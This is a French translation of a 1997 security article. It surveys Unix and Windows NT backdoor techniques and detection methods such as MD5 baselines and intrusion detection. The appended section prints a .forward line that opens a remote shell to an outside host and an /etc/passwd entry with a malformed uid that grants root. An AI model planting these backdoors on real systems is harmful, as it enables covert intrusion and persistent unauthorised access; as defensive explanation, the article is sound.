Backdoors By Christopher Klaus 8/4/97 Traduit par lansciac 18/01/2000 Depuis que l'informatique existe, on retrouve des rapports d'intrusion; les pirates ont essaye de developper des techniques ou backdoors (trappes) qui permettent de rentrer a l'interieur des systemes. Dans cet article, nous mettrons l'accent sur les backdoors les plus connues et les moyens possibles de les detecter et les eliminer. La plupart de nos propos concerneront les systemes Unix avec une ouverture sur le systeme Windows NT. Nous decrirons le probleme en essayent de determiner la methode qu'utilise les pirates ainsi que les methodes que les administrateurs peuvent employer pour arreter ces intrus. Lorsqu'un administrateur comprend combien il est difficile d'arreter des intrus qui sont deja "intra muros", le comportement sur la veille securisationnelle est mieux assimile. Nous allons essayer de couvrir la plupart des failles utilisees par les pirates. Cependant, nous ne couvrirons pas toutes les failles car la creations des 'portes arrieres' est sans limites. Les backdoors utilisees par la plupart des pirates fournissent deux ou trois fonctions principales: Etre capable de rentrer dans une machine, meme si l'administrateur essaye de le securiser, par exemple en changeant tous les mots de passe. Etre capable de rentrer dans une machine en laissant le moins de traces possibles. La plupart des backdoors permettent d'etre logge sur une machine alors que cela est transparent sur la machine. Etre capable de rentrer dans une machine en perdant le moins de temps possible. La plupart des pirates veulent pouvoir utiliser facilement une machine sans avoir a rechercher les failles de securite pour obtenir un acces. Dans la plupart des cas, si le pirate pense que l'administrateur est en mesure de detecter une backdoor installee, il cherchera toutes les failles existantes pour les utiliser comme des backdoors. Cela ne concerne evidement pas celle qui pourrait avertir l'administrateur. Cependant dans quelques cas, les vulnerabilités d'une machine restent des portes ouvertes non connues. Password Cracking Backdoor Une des premieres et plus anciennes methodes pour obtenir non seulement un acces mais aussi une backdoor sur un systeme Unix etait d'utiliser un cracker de password. Il revele les passwords des comptes.La plupart du temps, les pirates utilisent des comptes qui sont laisses de cotes et qui ont des passwords faciles a trouver et les changent par des pass plus difficiles. Quand l'administrateur regarde les comptes, il ne s'appercoit pas des changements. Ainsi l'administrateur ne peut determiner quels comptes il doit fermer. Rhosts + + Backdoor Sur des machines en reseau dans un environnement Unix, les services comme Rsh et Rlogin utilisent une simple methode d'autentification basee sur un nom d'hote qui est place dans rhosts. Un utilisateur peut facilement configurer une machine pour qu'il n'y ait plus de demande d'autentification password pour se logger. Un pirate peut facilement obtenir un acces en rajoutant "+ +" dans le fichier de configuration de rhosts et ainsi se logger sans password. Cette methode est tres utilisee, surtout quand NFS exporte le repertoire personnel vers l'exterieur. Ces acces deviennent des backdoors qui permettent un acces facile au systeme. Beaucoup de pirates preferent employer Rsh plutot que Rlogin car c'est un gain de temps et de possibilites au niveau du systeme. Beaucoup d'administrateurs verifient qu'il n'y ait pas de "+ +" dans le fichier de configuration; cependant un pirate peut facilement, une fois qu'il a un acces, inserer un nom d'hote et un nom d'utilisateur a partir d'un autre compte asservi sur le reseau, ce qui est par consequent beaucoup plus difficile a trouver. Checksum and Timestamp Backdoors Depuis longtemps, les pirates remplacent les fichiers binaires des systemes Unix par leurs propres fichiers munis de trojan. Beaucoup d'administrateurs systeme se basent sur le time-stamping et le systeme de verification des programmes (system checksum programs), comme par exemple le programme de somme d'Unix (Unix's sum program), pour essayer de determiner quand un fichier binaire a ete modifie. Les pirates ont developpes des technologies qui recree la meme etiquette pour le fichier infecte que celle du fichier originale (NDT: cette etiquette est un marqueur de temps appele time-stamp qui indique la date de creation et de modification du fichier). Cette action est accomplie en bidouillant l'horloge systeme. On ramene l'horloge au moment de la creation du fichier original et on insere le fichier infecte. Une fois cette operation effectuee, l'horloge est remise a l'heure exacte. Le programme de somme quand a lui se base sur un checksum CRC et est facilement masque. Les pirates ont developpes des programmes qui peuvent modifier le fichier binaire infecte de maniere a ce qui l'est la meme checksum que le fichier original, et ainsi se cacher des administrateurs. La somme de verification MD5 (checksum MD5) est le choix recommande par les vendeurs de nos jours. Le MD5 est base sur un algorithme qui au jour d'aujourd'hui n'a pas donne la preuve qu'il pouvait etre singe. Login Backdoor Sur un systeme Unix, le programme de login est un logiciel qui utilise l'autentification par password lorsque quelqu'un fait un telnet sur la machine. Les pirates s'accaparent du code source de login.c et le modifie de telle maniere que lorsque le programme verifie le pass avec le pass enregistre, il verifiera d'abord le password ouvrant la backdoor. Si l'utilisateur rentre le password activant la backdoor, il vous pourra se logger sans se soucier du fait que l'administrateur se log aussi. Ainsi, vous pouvez vous logger sous n'importe quel compte, meme celui de root. Le backdoor password pourrait multiplier les acces avant que l'utilisateur se logge et apparaisse dans utmp et wtmp. Cependant un pirate peut etre logge et avoir un acces shell sans que personne n'apparaisse comme etant logge sur la machine sous ce compte. Les administrateurs mettent en evidence ces backdoors lorsqu'ils executent des chaines de commandes pour trouver quel texte est inscrit dans le programme de login. La plupart du temps, les backdoors passwords sont ainsi mises a jour. Les pirates avises encapsulent alors leurs backdoors ou les cryptent, ce qui permet de les cacher a des commandes aussi simple. Beaucoup d'administrateur peuvent detecter ces backdoors en utilisant un checksum MD5. Telnetd Backdoor Lorsqu'un utilisateur fait tun telnet sur une machine, le service Inetd ecoute sur le port, recoit la demande de connexion et la passe a in.telnetd, qui lance le login. Les pirates savent que les administrateurs utilisent des programmes de tampering, ils modifient donc in.telnetd. A l'interieur de in.telnetd, il y a plusieurs verifications effectuees comme le type de terminal que l'utilisateur emploie. D'habitude, le terminal employe est un Xterm ou un VT100. Un pirate peut creer une backdoor; lorsque le terminal a ete positionne sur "letmein", il peut multiplier un shell sans requerir quelconque autentification. Les pirates installent des backdoors sur differents services ce qui leurs permet d'obtenir un shell tres facilement Services Backdoor Presque chaque service reseau a à une epoque etait backdoore par un pirate. Des versions backdoors de finger, rsh, rexec, rlogin, ftp, meme inetd, etc., existeront toujours. Il existe des programmes qui ne sont rien de plus que des shells connectes sur un port TCP avec un pass pour obtenir un acces. Ces programmes remplacent de temps a autre des services comme uucp qui sont raremement usites ou sont tout simplement ajoutes au fichier inetd.conf comme un nouveau service. Les administrateurs devraient etre tres attentifs quant aux services qui sont en services et analyser les services originaux en utilisant une somme de verification basee sur du MD5 (checksum MD5). Cronjob backdoor Le Cronjob sous Unix planifie le lancement de certaines applications. Un pirate peut inserer une backdoor qui ouvre un shell entre 1h et 2h du matin. Pendant une heure chaque nuit, le pirate aura un acces. Il aura ainsi largement le temps de regarder les programmes qui tournent dans la table cron et installer des backdoors dans ces programmes. Library backdoors Presque tous les systemes unix utilisent des bibliotheques partagees. Celles-ci existent car elles executent la meme fonction pour plusieurs programmes et diminue ainsi la taille des programmes. Des pirates ont implemente des backdoors dans des routines comme crypt.c et _crypt.c qui sont utilises dans les programmes comme login.c. Ainsi, si le password de la backdoor est active, il lance un shell. Encore plus fort, si l'administrateur verifie le programme login.c par un checksum MD5, il lancera une autre backdoor et ouvrira une autre possibilite de shell. La plupart des administrateurs ne pensent pas que les bibliotheques sont des sources d'infections possibles. Un des problemes pour les pirates est que des administrateurs effectuent un MD5 sur presque tout. Une des alternatives trouvees par les pirates est de mettre des backdors sur la routine open() et celle d'acces au fichier. Les routines infectees sont configurees pour lire les fichiers originaux, mais executent la backdoor. Cependant, lorsque le programme qui effectue la somme de verification MD5 lit ces fichiers, le resultat semble correct. Mais lorsque le systeme execute le programme, il lance le trojan. Meme la bibliotheque du trojan peut etre cachee aux 'yeux' d'une checksum MD5. Une des solutions pour les administrateurs est de linker les verificateurs des checksum MD5 et de les utiliser sur le system. Le programme ainsi linker n'utilisera pas les bibliotheques infectees et pourra effectuer correctement les verifications. Kernel backdoors Le noyau d'un systeme Unix est le coeur du systeme. La meme methode que celle appliquee pour les librairies pour passer outre le checksum MD5 peut etre utilisee au niveau du noyau, excepte que meme un programme protege ne sera pas dire la difference. Un kernel infecte est surement une des choses les plus dures a trouver pour un administrateur. Heuresement [pour eux], les scripts permettant ces infections ne sont pas encore au point ni tres repandus. Cela a cause de la complexite et la difference de chacun des noyaux. File system backdoors Un pirate peut vouloir archiver son butin ou ses donnees sur un serveur sans que l'administrateur ne trouve les fichiers. Ces fichiers peuvent contenir ses boites a outils ou ses scripts d'exploits, backdoors, sniffer, logs, données copies comme des e-mails, des code source, etc. Pour cacher ses fichiers qui sont parfois volumineux des yeux d'un admin, un pirate peut patcher des commandes du shell comme le "ls", le "du" et le "fsck" pour cacher l'existence de certains fichiers. A un tres bas niveau, une backdoor inseree par un pirate peut creer une section sur le disque dur pour avoir un format proprietaire qui sera designe comme des secteurs deffectueux sur le disque dur. Ainsi le pirate peut acceder au fichiers caches avec un utilitaire special, mais aux yeux de l'admin, cela sera tres dificile de discerner que des fichiers caches ont ete inserees. Bootblock backdoors Dans le monde des PC, beaucoup de virus s'inseraient dans le secteur de boot et de nombreux anti virus verifiaient ce secteur pour voir si le secteur de boot avait ete altere. Sous Unix, la plupart des administrateurs n'ont pas d'outils pour verifier le secteur de boot, et c'est sur cela que compte les pirates pour inserer des backdoors dans le secteur de boot. Process hiding backdoors La plupart du temps un pirate veut cacher les programmes qu'il emploie. Les programmes qu'ils veulent cacher sont en general des crackers de password ou des sniffers. il existe plusieurs methodes et nous en avons rassemblees quelques unes: Un pirate peut ecrire un programme pour modifier ses propres argv[] et le faire tourner sous un autre nom de process. Un pirate peut renomer un sniffer en un autre service legitime comme in.sylog et le lancer. Ainsi lorsqu'un admin lance un "ps" ou regarde les process en cours, les services standards apparaissent. Un pirate peut modifier les routines dans les bibliotheques ainsi "ps" ne montrera pas les process. Un intrus peut patcher une backdoor ou un programme a l'interieur d'une routine d'interruption ainsi il n'apparaitra pas dans la table des processus. Un exemple de backdoor utilisant cette technique est amod.tar.gz et est disponible a l'adresse suivante: http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html Un pirate peut aussi modifier le noyau pour cacher certains processus. Rootkit Un des packages les plus connus pour installer des backdoors se nomme le rootkit. Il peut facilement etre trouve sur le web en le cherchant sur un moteur de recherche. Dans le README du rootkit, on retrouve les fichiers typiques que l'on peut installer: z2 - enleve les entrees dans utmp, wtmp, et lastlog. Es - Le sniffer rokstar pour les noyaux bases sur sun4. Fix - falsifie des checksums, installe avec les meme dates/perms/u/g. Sl - devenir root par un password magique envoye au login. Ic - modifie ifconfig pour enlever le drapeau de sortie PROMISC. ps: - cache les processus. Ns - modifie netstat pour cacher les connexions de certaines machines. Ls - cache certains repertoires et fichiers. du5 - cache l'espace utilise sur votre disque dur. ls5 - cache certains repertoires et fichiers. Network traffic backdoors Non seulement les pirates veulent cacher leurs traces sur une machine, mais ils veulent aussi cacher leurs activites sur le reseau. Des backdoors reseau permettent parfois au pirate d'obtenir un acces au travers du firewall. Il y a beaucoup de programmes de backdoors reseau qui permettent aux intrus d'utiliser certains ports sur une machine ce qui leur permet de ne pas utiliser les services normaux. Parce que le traffic utilise des ports non standardises, l'administrateur peut surveiller le traffic du pirate. Ces backdoors reseau utilisent les services TCP, UDP et ICMP mais ils peuvent employer beaucoup d'autres sortes de paquets. TCP Shell Backdoors Un pirate peut mettre en place une backdoor avec un shell TCP sur de nombreux ports que le firewall ne bloquera pas. La plupart du temps, les shells sont proteges par un password donc si un admin essaye de se connecter, il n'aura pas tout de suite l'acces. Un admin peut regarder les connexions etablies et les ports qui sont a l'ecoute avec la commande netstat. La majorite de ces backdoors permettent l'emploi des technologies de TCP Wrapper. Ces backdoors peuvent utiliser le port SMTP, ce qui leurs pemet de passer au travers du firewall sans etre repere. UDP Shell Backdoors Un administrateur peut facilement reperer une connexion TCP, alors que dans le cas d'UDP il aura beaucoup plus de difficultes, et pour cause car celles-ci n'apparaissent pas en faisant un netstat. La plupart des firewalls sont configures pour laisser passer les packets UDP comme les services DNS par exemple. Souvent les pirates etablissent une trappe sur ce port et passent ainsi par dessus le firewall. ICMP Shell Backdoors La commande Ping est une des manieres les plus pratique pour savoir si une machine distante est encore vivante. Pour cela on envoie et on recoit des paquets ICMP. Beaucoup de firewall permettent a des machines externes de pinger une machine a l'interieur du reseau. Un pirate peut inserer des donnees dans un paquet ICMP qu'il enverra au travers d'un ping et etablir un shell au travers de ce tunnel. Un flot important de Ping peut alerter un administrateur, mais le temps qu'il analyse les donnees des paquets, le pirate aura disparu. Encrypted Link Un administrateur peut utiliser un sniffer pour essayer de voir quels acces sont presents sur ses machines et par la meme determiner s'il y a intrusion ou non. Un pirate peut aussi ajouter une encryption a sa trappe reseau ce qui rendra impossible de determiner ce qui est transmis entre les deux machines. Windows NT Du fait que Windows Nt n'autorise pas facilement plusieurs utilisateurs sur une meme machine et des acces a distance comme sous Unix, il est plus difficile pour un pirate de rentrer a l'interieur de Windows NT, installer une backdoor et lancer une attaque a partir de la. C'est pour cela que vous trouverez la plupart du temps des attaques reseau lancees a partir de postes Unix plutot que de postes WindowsNT. Au fur et a mesure que Windows NT avancera dans le concept du multi-utilisateur, de meme augmentera la possibilite pour les pirates d'utiliser Windows NT a leur avantage. Assurement, si cela arrive, la plupart des backdoors utilisees sous Unix seront portees sous Windows NT et les administrateurs devraient s'y preparer. Aujourd'hui, on trouve deja le demon Telnet sous Windows NT. Avec de backdoors reseau, il est tres facile d'installer des trappes sous Windows NT. Solutions Au fur et a mesure que les technologies des backdoors avancent, il devient de plus en plus dur pour les administrateurs de determiner si un pirate a installer une trappe ou si les admins ont bien bloques les acces. Evaluation Une des premieres etapes consiste a analyser les faiblesses de son reseau, ce qui permet de faire ressortir les failles existantes et de les reparer. Beaucoup d'outils commerciaux existent pour scanner son reseau et mettre en evidance les failles du systeme. Les entreprises pourrait eviter des catastrophes si elles installees simplement les patchs de securite que les vendeurs mettent gratuitement a disposition. La signature MD5 Un des composants basique et necessaire a la verification du systeme est la somme de verification MD5. Il faut effectuer celle ci lorsque le systeme est propre. Le fait d'effectuer une checksum sur le tard laisse emettre l'hypothese qu'un pirate a deja infecte le systeme et rend donc celle ci inutile. De nombreuses entreprises ont ete piratees et ont des trappes d'installees depuis de nombreux mois. La plupart du temps, meme les back up sont infectes. Quand les entreprises se rendent compte qu'elles ont ete hackees, elle font un back up dans l'espoir d'enlever ces trappes. L'effort est donc inutile car en ayant restaure tous les fichiers, elles auront aussi remis toutes les trappes. L'image de comparaison doit donc necessairement etre faite avant qu'une attaque ne se produise. La detection d'intrusion La detection d'intrusion devient plus important a partir du moment ou les entreprises permettent une tele-connexion a leur machine. La plus ancienne methode de detection d'intrusion se base sur l'etude des logs. La methode la plus recente quant a elle (intrusion detection system (IDS)) utilise le sniffing en temps reel et l'analyse du reseau. La plupart des trappes reseau peuvent donc facilement etre detectees. la derniere technologie IDS peut verifier les paquets UDP de DNS et determiner si la demande du protocole DNS correspond avec une demande normale.Si les donnees circulant sur le port DNS ne correspondent pas avec celles du protocole DNS, un indicateur d'alerte est active et les donnees sont capturees pour permettre une analyse. Le meme principe peut etre applique aux paquets ICMP pour voir si les donnees du ping sont coherentes ou si ce sont des donnees codees d'une session shell. Boot from CD-ROM. Les administrateurs devraient prendre en compte les possibilites de boot a partir du CD-Rom, ce qui permettrait d'eliminer la possibilite aux pirates d'installer des trappes a partir des CD-Rom. Le probleme avec cette methode reside dans le cout et le temps de la mise en place dans les grandes entreprises. Etre vigilant Parce que le milieu de la securite change tous les jours, avec de nouvelles vulerabilites annoncees quotidiennement et l'incessance des pirates a construire dse nouvelles attaques et techniques de trappes, il ne peut y avoir de technologie de securite effective sans une grande vigilance. Etre conscient qu'il n'y a pas de defense impermeable, et qu'il n'y a pas de meilleure defense qu'une surveillance attentive. ------------------------------------------------------------------------- On peut ajouter .forward Backdoor Sur les machines Unix, placer des commandes dans le fichier .forward est aussi une methode tres employee pour obtenir un acces. Pour le compte "username", le fichier .forward doit contenir les lignes suivantes. \username |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" Une autre possibilite existe avec le fichier des alias de mail. (fichier qui se trouve frequement dans /etc/aliases). c'est une possibilite parmis tant d'autres. Ce qui est fait au dessus executera un script a partir du fichier forward et pourra recevoir des commandes a partir de stdin. PS: La methode ci dessus est aussi utilise pour obtenir un acces mail dans les entreprises (on considere le fait que le repertoire personnel est partage sur la machine client et le serveur). > utiliser smrsh peut effectivement fixer ce probleme (bien qu'il > est possible que cela entraine des problemes si vous employez > les filtres elm ou autorisez des programmes a se lancer automatiquement) --------------------------------------------------------------------------- Pour terminer, une derniere trappe qui peut etre trouvee: lorsque un mauvais uid/gid est specifie dans /etc/password, la plupart des programmes de login ne verifieront pas ce mauvais chiffrement et atoi (NDT: array to integer() fonction) posistionnera l'uid et le gid a 0, donnant les privileges du superutilisateur. exemple: rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh sur un systeme Linux , l'utilisateur rmatin obtiendra l'uid 0. _____________________________________________________________________________ Traduit par lansciac 18/01/2000